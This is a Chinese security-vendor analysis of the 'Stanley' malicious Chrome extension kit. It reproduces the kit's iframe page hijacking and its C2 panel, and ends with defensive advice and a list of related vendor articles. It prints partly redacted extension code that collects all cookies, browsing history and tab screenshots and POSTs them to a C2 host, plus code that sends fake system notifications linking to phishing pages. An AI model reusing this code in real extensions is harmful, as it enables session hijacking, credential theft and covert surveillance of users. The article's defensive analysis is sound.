2026-02-04 01:32:58 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本文深度解析境外间谍插件Stanley套件的攻击原理，复现了利用透明iframe劫持、全量Cookie窃取及弹窗钓鱼等无感窃密技术。文章剖析了其绕过审核机制及黑产供应链，建议用户关闭浏览器通知、启用MFA并实施插件白名单策略，附带高危扩展清单供企业排查。 综合评分： 88 文章分类： 威胁情报,恶意软件,WEB安全,应急响应,漏洞分析

加载未打包的扩展程序入口

确定插件目录并执行导入

4.伪装身份：导入成功后，名为 “System%20Security%20Assistant” 的插件（对应 manifest.json 中的 name 字段）即在后台启动。

插件导入成功视图

无感上线与流量隐蔽性分析

注：本次劫持的官网仅为实验演示，正常情况下无害！

插件加载后，受害者并不会立刻产生警觉。当受害者尚未访问目标网站时，C2%20后台列表为空。

C2%20后台页面（初始状态，暂无受害者记录）

当受害者访问被劫持的特定网站（如%20Solar%20模拟官网）时，劫持前后的页面在视觉上几乎无异。

受害者视角：未劫持状态下的官网

受害者视角：被劫持状态下的官网

技术深度分析

通过%20F12%20开发者工具观测发现，被劫持页面在请求 index.html 后，插件立即介入并判定域名符合劫持规则，随后加载伪造的前端页面。这种劫持技术与重定向不同：页面未变、域名未变，实现了彻底的“无感上线”。

被劫持后页面分析，显示域名未变动

此外，传统的网络监控难以在当前页面的 Network 中捕捉到与%20C2%20后端的通讯请求，因为恶意流量被封装在插件的 Service%20Worker 中运行。

被劫持官网只有与伪造前端的请求流量

检查视图位置：恶意交互逻辑的隐身处

来自%20C2%20后台的心跳请求包

恶意功能技术拆解与代码分析

在探讨技术细节前，必须纠正一个误区：有些人认为只要关闭被劫持的网页，攻击者就无法获取信息。实则不然，当用户访问网页的那一瞬间，劫持逻辑便已触发，插件会立即捕获所有敏感数据并外发至%20C2%20后台。

受害者上线实时监控视图

在网页被劫持后，C2%20后台会清晰记录受害者的%20UID、互联网公网%20IP、当前访问域名以及最后上线时间。通过长期监测，攻击者可以精准掌握受害者的生活习惯与地理位置。然而，最核心的威胁在于后续针对敏感信息的深层挖掘，Solar%20应急响应团队将对此逐一介绍。

基础信息获取（身份指纹识别）

后台显示的%20UID%20是通过 getOrCreateUID 函数生成的，该机制能够有效区分同一%20IP%20下的不同浏览器，为进一步的精准渗透奠定基础。

//%20代码片段：受害者唯一%20UID%20生成逻辑
asyncfunction&nbsp;getOrCreateUID()&nbsp;{
&nbsp;%20&nbsp;&nbsp;returnnewPromise((resolve)%20=>&nbsp;{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20chrome.storage.local.get(['victim_uid'],%20(result)%20=>%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;(result.victim_uid)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20resolve(result.victim_uid);
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;else&nbsp;{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;//%20生成随机%20UID%20并在本地持久化存储以实现唯一性追踪
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;const&nbsp;newId%20=&nbsp;'UID-'&nbsp;+&nbsp;Math.random().toString(36).substr(2,&nbsp;9).toUpperCase();
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;/*%20...%20内部逻辑已脱敏处理%20...%20*/
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20chrome.storage.local.set({&nbsp;victim_uid:%20newId%20},%20()%20=>%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20resolve(newId);
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20});
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20});
&nbsp;%20&nbsp;%20});
}

C2%20后台受害者基础信息分析

此外，插件利用 getPublicIP 函数调用 api.ipify.org 接口获取受害者的公网%20IP。黑灰产获取%20IP%20的主要意义在于确定地理位置或评估后续利用价值。Solar%20应急响应团队在以往处理%20Mallox%20等勒索家族案例时也曾发现，加密器运行后常访问此类接口进行受控机器数量统计。

//%20代码片段：公网%20IP%20获取逻辑
async%20function%20getPublicIP()%20{
&nbsp;%20&nbsp;%20try%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20const%20response%20=%20await%20fetch('https://api.ipify.org?format=json');
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20/*%20...%20响应解析逻辑%20...%20*/
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20const%20data%20=%20await%20response.json();
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20return%20data.ip;
&nbsp;%20&nbsp;%20}%20catch%20(e)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20return%20"127.0.0.1%20(Offline%20Mode)";
&nbsp;%20&nbsp;%20}
}

受害者当前屏幕实况

该功能集成在 background.js 的 performFullDataExfiltration 函数中。

//%20代码片段：屏幕实况截取外发逻辑
chrome.tabs.captureVisibleTab(null,%20{&nbsp;format:&nbsp;"jpeg",&nbsp;quality:&nbsp;50&nbsp;},%20(screenshotUrl)%20=>%20{
&nbsp;%20&nbsp;&nbsp;if&nbsp;(chrome.runtime.lastError%20||%20!screenshotUrl)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;/*%20...%20错误捕获处理%20...%20*/
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;console.log("[Screenshot]%20Failed%20to%20capture:",%20chrome.runtime.lastError?.message);
&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;//%20获取%20Cookie%20及历史记录后，将截图数据封装外发
&nbsp;%20&nbsp;&nbsp;/*%20...%20逻辑已精简%20...%20*/
&nbsp;%20&nbsp;&nbsp;const&nbsp;payload%20=%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;uid:%20uid,
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;screenshot:%20screenshotUrl,&nbsp;//%20包含截取的%20Base64%20编码图像数据
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;timestamp:&nbsp;Date.now()
&nbsp;%20&nbsp;%20};
&nbsp;%20&nbsp;%20fetch(`${C2_HOST}/api/receive.php`,%20{&nbsp;/*%20...%20参数已脱敏%20...%20*/&nbsp;});
});

功能解释：插件通过调用 chrome.tabs.captureVisibleTab API，实时截取当前可见标签页的内容。
参数配置：设置 {%20format:%20"jpeg",%20quality:%2050%20}，以%2050%%20的压缩质量生成图像，旨在平衡清晰度与传输效率，便于数据快速外发。
影响评估：攻击者可借此获取银行余额、隐私邮件等敏感视觉信息，用于远程监视或取证调查。

受害者当前屏幕实况监视图

获取%20Cookie、历史记录及关键凭据

核心数据窃取逻辑同样位于 performFullDataExfiltration 函数中，展现了黑产对凭证的高度渴求。

//%20代码片段：Cookie%20与历史记录全量窃取
chrome.cookies.getAll({},%20(allCookies)%20=>%20{
&nbsp;%20&nbsp;%20chrome.history.search({&nbsp;text:&nbsp;'',&nbsp;maxResults:&nbsp;20&nbsp;},%20(historyItems)%20=>%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;const&nbsp;payload%20=%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;cookies:%20allCookies,
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;history:%20historyItems,
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;/*%20...%20整合其他敏感存储数据%20...%20*/
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20};
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20fetch(`${C2_HOST}/api/receive.php`,%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;method:&nbsp;'POST',
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;headers:%20{&nbsp;'Content-Type':&nbsp;'application/json'&nbsp;},
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;body:&nbsp;JSON.stringify(payload)
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}).then(()&nbsp;=>console.log("[Data]%20Exfiltration%20complete."));
&nbsp;%20&nbsp;%20});
});

功能解释：插件使用 chrome.cookies.getAll API%20无差别获取浏览器中所有域名的%20Cookie。
数据构成：外发的 allCookies 数组包含%20Name、Value、Domain、Path%20等关键会话字段。
危害分析：Cookie%20往往包含登录%20Token%20与会话%20ID。由于攻击者窃取的是全量%20Cookie%20且不限于当前页面，这极大提升了身份伪造（Session%20Hijacking）的风险。
生效机制：插件通过申请%20“cookies”%20权限及 <all_urls> 权限，实现了跨站点窃取凭证的能力。

获取的关键凭据及%20Cookie%20详细信息

通过上图可以看到，插件通过调用相关函数成功截获了特定论坛（如 bbs.qsnctf.com）的%20Cookie%20信息。

受害者浏览器历史记录分析视图

如上图所示，攻击者利用 history API%20可轻易获取用户的浏览记录，从而梳理出内网资产分布、上网偏好及作息规律。结合%20Cookie%20信息，黑产团伙能够直接接管账户权限。

对于 “Cookie%20时效性” 问题，后台记录的“最后上线时间”起到了关键作用。每当受害者访问被劫持网站时，插件都会重新触发数据采集逻辑；如果%20Cookie%20有所更新，C2%20后端也会同步进行版本覆盖，确保攻击者掌握的凭证永远处于最新状态。

弹窗钓鱼（高危主动攻击）

在%20Windows%20系统中，应用申请弹窗权限本用于系统警告或社交互动。然而，系统难以辨别插件发送信息的真伪，这为%20Stanley%20套件实施弹窗钓鱼提供了温床。

//%20代码片段：伪造系统通知推送逻辑
function&nbsp;showPhishingNotification(cmd)&nbsp;{
&nbsp;%20&nbsp;&nbsp;const&nbsp;notifId%20=&nbsp;'phish_'&nbsp;+&nbsp;Date.now();
&nbsp;%20&nbsp;%20chrome.notifications.create(notifId,%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;type:&nbsp;'basic',
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;iconUrl:&nbsp;'icon.png',&nbsp;// 需确保存放于根目录
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;title: cmd.title ||&nbsp;"系统安全警告",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;message: cmd.message ||&nbsp;"检测到安全异常，请立即处理",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;priority:&nbsp;2,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;requireInteraction:&nbsp;true
&nbsp; &nbsp; }, () => {&nbsp;/* ... 异常处理及权限校验 ... */&nbsp;});

&nbsp; &nbsp;&nbsp;// 监听通知点击行为，跳转至恶意钓鱼 URL
&nbsp; &nbsp; chrome.notifications.onClicked.addListener((id) =>&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(id === notifId) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; chrome.tabs.create({&nbsp;url: cmd.url });
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; });
}

当黑产团伙在后台执行指令时，可自定义钓鱼跳转地址。

控制端下发弹窗指令操作

自定义钓鱼重定向 URL

系统右下角弹出的仿真伪造通知

如上图所示，插件接收指令后调用 Chrome 的通知设置功能发送弹窗。对于安全意识薄弱的用户，此类弹窗极具诱导性。

弹窗引导跳转至的高仿真钓鱼页面

受害者点击弹窗后会被引导至上图所示的钓鱼页面。攻击者通常会在此诱导用户下载并运行带有远控木马的 .zip 程序，从而达成从“窃密插件”到“完全控制”的权限跨越。

防御要点：规避此类攻击最根本的方法是收敛通知权限。在 Windows 的“通知和操作设置”中关闭 Google Chrome 的通知权限，即可让此类恶意弹窗失效。

通过系统设置关闭 Chrome 通知权限

黑色产业链条与供应链攻击梳理

Solar 应急响应团队在长期跟踪中发现，当前的黑灰产已形成极其成熟的供应链机制。

BHF 论坛非法权限交易现状

ExodusMarket 凭证泄露交易市场

思而听针对黑产权限售卖深度分析报告图示

通过深度分析，我们可以完整还原 Stanley 黑产链条的运作逻辑：

1.开发者端：Stanley 提供者开发恶意插件并利用技术手段确保其通过谷歌商店审核上架。

2.获取端：境外黑产组织利用上架插件大规模获取用户凭证，并前往 ExodusMarket 进行初步售卖。

3.武器化：黑产组织购买 Cruciferra 的免杀加壳服务，对 C2 控制端进行加固。

4.权限变现：通过投放钓鱼链接获取系统权限后，最终将主机权限转卖给 BHF 交易平台的下游团伙（如勒索家族）进行勒索赎金获取。

针对 Stanley 黑色产业链条的全流程梳理图

总结与防范策略建议

通过对 Stanley 恶意插件套件的深度拆解，我们不难发现，当前的境外间谍攻击已演变为“隐蔽插件窃密”与“主动钓鱼远控”双线并行的复杂态势。从上架谷歌商店的规避策略，到利用全透明 iframe 实现的“无感劫持”，再到末端高度成熟的黑产权限交易，整条产业链展现出极高的专业化水平。

特别值得警惕的是，这种基于浏览器插件的窃密手段，往往是更深层次渗透攻击（如 银狐木马）的前奏。在 Solar 应急响应团队 近期处理的【银狐应急复盘】伪装搜狗输入法的银狐木马，从深度溯源到彻底清除的闭环响应实录中，攻击者同样利用了受害者对常用办公软件（插件）的盲目信任。两者本质上均属于供应链攻击与社会工程学的深度结合：前者通过劫持浏览器生态获取身份凭证，后者则通过伪装合法软件获取系统级控制权。

为了有效抵御此类高维度的技术渗透，Solar 应急响应团队 给出以下针对性防范建议：

1. 终端防御颗粒度收敛

阻断主动钓鱼路径：在 Windows “通知和操作设置”中，务必关闭 Google Chrome 及其他浏览器的通知权限。此举可从系统权限层面封死恶意插件下发钓鱼弹窗、诱导下载远控木马的通道。
插件白名单策略：企业应通过组策略（GPO）强制执行浏览器插件白名单制度，禁止员工私自加载“未打包的扩展程序”或安装未经安全审计的第三方插件。

2. 身份凭证与会话安全加固

强制执行 MFA 机制：鉴于恶意插件能够实时窃取全量 Cookie 以绕过常规密码校验，企业关键业务系统必须强制开启多因素认证（MFA）或硬件安全令牌。
定期清理会话缓存：养成定期清理浏览器冗余插件及过期 Cookie 的习惯。针对已下线的受害主机，应立即在服务端强制注销所有活动会话（Session），防止攻击者利用“长效控权”机制进行持续渗透。

3. 供应链风险监测

持续性心跳监控：安全团队应加强对 Service Worker 及插件后台流量的监控。若发现异常的外部 C2 域名心跳请求（如本案中的 api.ipify.org 或非合规 API 接口），应立即触发应急预案。
溯源关联分析：加强对地下黑产论坛（如 BHF、ExodusMarket）的情报监测。一旦发现企业内部员工凭证泄露或权限交易信息，应立即参照银狐木马排查实录中的方法进行全盘深度追溯。

2025年-至今被披露的高危恶意扩展程序清单

针对日益严峻的浏览器插件安全态势，Solar 应急响应团队根据 2025 年至今的监测数据，系统性地整理并汇总了被公开点名的“后门/恶意”浏览器扩展清单，旨在协助企业及个人用户快速进行资产对标与威胁排查。

Solar 应急响应团队寄语：

网络空间的博弈往往发生在“无感”之间。无论是利用 Stanley 插件实现的透明劫持，还是伪装成搜狗输入法的银狐木马 投毒，攻击者的最终目的都是在用户防范意识的边缘寻找突破口。

作为专业的安全守护者，Solar 应急响应团队始终站在抗击黑产的最前线。若您的企业检测到异常的浏览器行为、系统弹窗或疑似凭证泄露风险，请及时联系我们。我们将凭借深厚的实战经验与先进的溯源技术，为您构筑坚不可摧的安全防线。

关注 Solar 应急响应团队，掌握第一手深度黑产拆解实录，共同抵御境外渗透威胁。

参考文章：

https://www.varonis.com/blog/stanley-malware-kit

https://www.bleepingcomputer.com/news/security/new-malware-service-guarantees-phishing-extensions-on-chrome-web-store/

以下是solar安全团队近期处理过的常见勒索病毒后缀：

| | | | | — | — | — | | 收录时间 | 病毒家族 | 相关文章 | | 2025/01/14 | Medusalocker | 【病毒分析】深入剖析MedusaLocker勒索家族：从密钥生成到文件加密的全链路解析【病毒分析】新版勒索病毒MEDUSA LOCKER 首发深度分析 | | 2025/01/15 | Medusa | 【病毒分析】“美杜莎”勒索家族：从入侵到结束的全流程深度解析 | | 2024/12/11 | weaxor | 【病毒分析】新崛起的weaxor勒索家族：疑似mallox家族衍生版，深度解析两者关联！ | | 2024/10/23 | RansomHub | 【病毒分析】Ransom Hub:唯一不攻击中国的2024全球Top1勒索家族——ESXi加密器深度解析 | | 2024/11/23 | Fx9 | 【病毒分析】Fx9家族首次现身！使用中文勒索信，熟练勒索谈判 | | 2024/11/04 | Makop | 【病毒分析】揭秘.mkp后缀勒索病毒！Makop家族变种如何进行可视化加密？ | | 2024/06/26 | moneyistime | 【病毒分析】使用中文勒索信及沟通：MoneyIsTime 勒索家族的本地化语言转变及其样本分析 | | 2024/04/11 | babyk | 【病毒分析】BabyK加密器分析-Windows篇【病毒分析】Babyk加密器分析-NAS篇【病毒分析】Babyk加密器分析-EXSI篇【病毒分析】Babuk家族babyk勒索病毒分析【成功案例】利用多款国产内网渗透工具勒索数十台虚拟机的babyk解密恢复项目 | | 2024/09/29 | lol | 【病毒分析】全网首发！全面剖析.LOL勒索病毒，无需缴纳赎金，破解方案敬请期待下篇！【工具分享】.LOL勒索病毒再也不怕！完整破解教程分享+免费恢复工具首发 | | 2024/06/10 | MBRlock | 【病毒分析】假冒游戏陷阱：揭秘MBRlock勒索病毒及其修复方法 | | 2024/06/01 | Rast gang | 【病毒分析】Steloj勒索病毒分析 | | 2024/06/01 | TargetOwner | 【病毒分析】技术全面升级，勒索赎金翻倍，新版本TargetOwner勒索家族强势来袭？ | | 2024/11/02 | Lockbit 3.0 | 【病毒分析】Lockbit家族Lockbit 3.0加密器分析【成功案例】RDP暴露引发的蝴蝶效应：LockBit组织利用MSF工具及永恒之蓝漏洞进行勒索入侵【成功案例】lockbit家族百万赎金不必付！技术手段修复被加密的数据库，附溯源分析报告【病毒分析】繁体勒索信暗藏玄机！要价50万RMB赎金的Lockbit泄露版分析 | | 2024/05/15 | Wormhole | 【病毒分析】Wormhole勒索病毒分析 | | 2024/03/20 | tellyouthepass | 【病毒分析】locked勒索病毒分析【病毒分析】中国人不骗中国人？_locked勒索病毒分析 | | 2024/03/01 | lvt | 【病毒分析】交了赎金也无法恢复–针对国内某知名NAS的LVT勒索病毒最新分析 | | 2024/03/04 | phobos | 【病毒分析】phobos家族2700变种加密器分析报告【成功案例】某集团公司的Phobos最新变种勒索病毒2700解密恢复项目【病毒分析】phobos家族faust变种加密器分析【成功案例】某集团公司的Phobos最新变种勒索病毒jopanaxye解密恢复项目【病毒分析】phobos家族Elbie变种加密器分析报告 | | 2024/03/28 | DevicData | 【病毒分析】DevicData勒索病毒分析【病毒分析】DevicData家族扩散：全球企业和机构成为勒索病毒头号攻击目标！ | | 2024/02/27 | live | 【病毒分析】独家揭秘LIVE勒索病毒家族之1.0（全版本可解密）【病毒分析】独家揭秘LIVE勒索病毒家族之1.5（全版本可解密）【病毒分析】独家揭秘LIVE勒索病毒家族之2.0（全版本可解密） | | 2024/08/16 | CryptoBytes | 【独家破解】揭秘境外黑客组织的20美元锁机病毒：深度逆向分析+破解攻略！赎金？给你付个🥚 | | 2024/03/15 | mallox | 【病毒分析】mallox家族malloxx变种加密器分析报告【病毒分析】Mallox勒索家族新版本：加密算法全面解析【病毒分析】全网首发！袭扰国内top1勒索病毒家族Mallox家族破解思路及技术分享【成功案例】间隔数月双团伙先后利用某ERP0day实施入侵和勒索的解密恢复项目【病毒分析】mallox家族rmallox变种加密器分析报告【病毒分析】Mallox家族再进化：首次瞄准Linux，勒索新版本全面揭秘！ | | 2024/07/25 | BeijngCrypt | 【病毒分析】全网首发！以国内某安全厂商名字为后缀的勒索病毒分析 | | 2025/03/11 | 银狐 | 【病毒分析】潜伏在AI工具中的幽灵：银狐家族社工攻击的深度剖析 | | 2025/03/07 | CTF赛题 | 【病毒分析】伪造微软官网+勒索加密+支付威胁，CTF中勒索病毒解密题目真实还原！【病毒分析】2024年网鼎杯朱雀组REVERSE02——关于勒索木马解密详解 | | 2025/05/14 | 888 | 【病毒分析】888勒索家族再出手！幕后加密器深度剖析 | | 2025/06/13 | LockBit4.0 | 【病毒分析】缴纳了巨额赎金依旧无法解密？最新LockBit4.0解密器分析【病毒分析】LockBit 4.0 vs 3.0：技术升级还是品牌续命？最新LockBit 4.0分析报告 |

勒索攻击作为成熟的攻击手段，很多勒索家族已经形成了一套完整的商业体系，并且衍生了多个分支团队，导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同，TellYouThePass勒索软件家族常常利用系统漏洞进行攻击；Phobos勒索软件家族通过RDP暴力破解进行勒索；Mallox勒索软件家族利用数据库漏洞，如(mssql命令执行)及暴力破解进行加密，攻击手法极多防不胜防。

| | | | — | — | | 收录时间 | 相关文章 | | 2024/12/12 | 【攻击手法分析】勒索病毒如何轻松绕过安全设备防线：第二篇-流量致盲，无声突破 | | 2024/12/11 | 【攻击手法分析】勒索病毒如何轻松绕过安全设备防线：第一篇-驱动漏洞一击致命 |

有效的预防方法包括针对自身业务进行定期的基线加固、补丁更新及数据备份，在其基础上加强公司安全人员意识。

| | | | — | — | | 收录时间 | 相关文章 | | 2024/06/27 | 【教程分享】勒索病毒来袭！教你如何做好数据防护 | | 2024/06/24 | 【教程分享】服务器数据文件备份教程 |

案例介绍篇聚焦于真实的攻击事件，还原病毒家族的攻击路径和策略，为用户提供详细的溯源分析和防护启示；

| | | | — | — | | 收录时间 | 相关文章 | | 2024/06/27 | 【案例介绍】赎金提高，防御失效：某上市企业两年内两度陷入同一勒索团伙之手 | | 2024/01/26 | 【成功案例】某集团公司的Phobos最新变种勒索病毒jopanaxye解密恢复项目 | | 2024/03/13 | 【成功案例】某集团公司的Phobos最新变种勒索病毒2700解密恢复项目 | | 2024/04/01 | 【成功案例】间隔数月双团伙先后利用某ERP0day实施入侵和勒索的解密恢复项目 | | 2024/04/26 | 【成功案例】利用多款国产内网渗透工具勒索数十台虚拟机的babyk解密恢复项目 | | 2024/05/17 | 【成功案例】RDP暴露引发的蝴蝶效应：LockBit组织利用MSF工具及永恒之蓝漏洞进行勒索入侵 | | 2024/11/28 | 【成功案例】lockbit家族百万赎金不必付！技术手段修复被加密的数据库，附溯源分析报告 | | 2025/10/23 | 【成功案例】成功挫败 888 勒索家族历时半年的百万赎金勒索，应急处置全流程高效修复，避免千万损失并获客户赠送锦旗 |

漏洞与预防篇侧重于技术层面的防御手段，针对病毒利用的漏洞和安全弱点，提出操作性强的应对方案：

| | | | — | — | | 收录时间 | 相关文章 | | 2025/01/08 | 【漏洞与预防】RDP弱口令漏洞预防 | | 2025/01/21 | 【漏洞与预防】MSSQL数据库弱口令漏洞预防 | | 2025/02/18 | 【漏洞与预防】远程代码执行漏洞预防 | | 2025/04/10 | 【漏洞与预防】Atlassian Confluence存在远程代码执行漏洞 | | 2025/04/17 | 【漏洞与预防】畅捷通文件上传漏洞预防 | | 2025/05/27 | 【漏洞与预防】Microsoft Windows 文件资源管理器欺骗漏洞预防 | | 2025/09/02 | 【漏洞与预防】Redis CVE-2025-32023 RCE漏洞验证与预防 |

应急响应工具教程篇重点分享应急响应过程中常用工具的安装、配置与使用说明，旨在帮助读者快速掌握这些工具的操作流程与技巧，提高其在实际应急场景中的应用熟练度与效率。

| | | | — | — | | 收录时间 | 相关文章 | | 2025/01/10 | 【应急响应工具教程】Splunk安装与使用 | | 2025/02/07 | 【应急响应工具教程】取证工具-Volatility安装与使用 | | 2025/02/20 | 【应急响应工具教程】流量嗅探工具-Tcpdump | | 2025/02/26 | 【应急响应工具教程】一款精准搜索文件夹内容的工具–FileSeek | | 2025/03/03 | 【应急响应工具教程】一款自动化分析网络安全应急响应工具–FindAll | | 2025/03/13 | 【应急响应工具教程】Windows 系统操作历史监控与审计工具-LastActivityView | | 2025/03/20 | 【应急响应工具教程】镜像取证之挂载镜像——Arsenal Image Mounter | | 2025/04/03 | 【应急响应工具教程】Windows 系统综合排查工具Hawkeye | | 2025/04/08 | 【应急响应工具教程】Linux下应急响应工具whohk | | 2025/05/15 | 【应急响应工具教程】Windows日志快速分析工具——Chainsaw | | 2025/06/05 | 【应急响应工具教程】Logman 系统性能与日志采集工具 | | 2025/07/02 | 【应急响应工具教程】QDoctor应急响应神器：一键检测系统安全 | | 2025/07/08 | 【应急响应工具教程】Linux应急响应工具集：一键式安全评估与可视化报告系统 | | 2025/07/23 | 【应急响应工具教程】司稽（Whoamifuck）：纯Shell打造的Linux应急响应利器 | | 2025/08/05 | 【应急响应工具教程】主机侧Checklist的自动全面化检测脚本-GScan | | 2025/08/19 | 【应急响应工具教程】SPECTR3：通过便携式 iSCSI 实现远程证据的只读获取与分析 |

如果您想了解有关勒索病毒的最新发展情况，或者需要获取相关帮助，请关注“Solar应急响应团队”。

全国热线| 400-613-6816

更多资讯| 扫码加入群组交流

喜欢此内容的人还喜欢

【紧急警示】Weaxor最新变种“.wxx”来袭，批量入国内知名财务类管理系统发起勒索攻击！

Solar应急响应团队

【病毒分析】新版勒索病毒MEDUSA LOCKER 首发深度分析

Solar应急响应团队

【成功案例】成功挫败 888 勒索家族历时半年的百万赎金勒索，应急处置全流程高效修复，避免千万损失并获客户赠送锦旗 Solar应急响应团队

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：solar应急响应团队 solarsec solarsec《【Solar 应急预警】国家安全部揭露境外间谍黑产，针对境外间谍插件窃密技术深度解析(附自查清单)》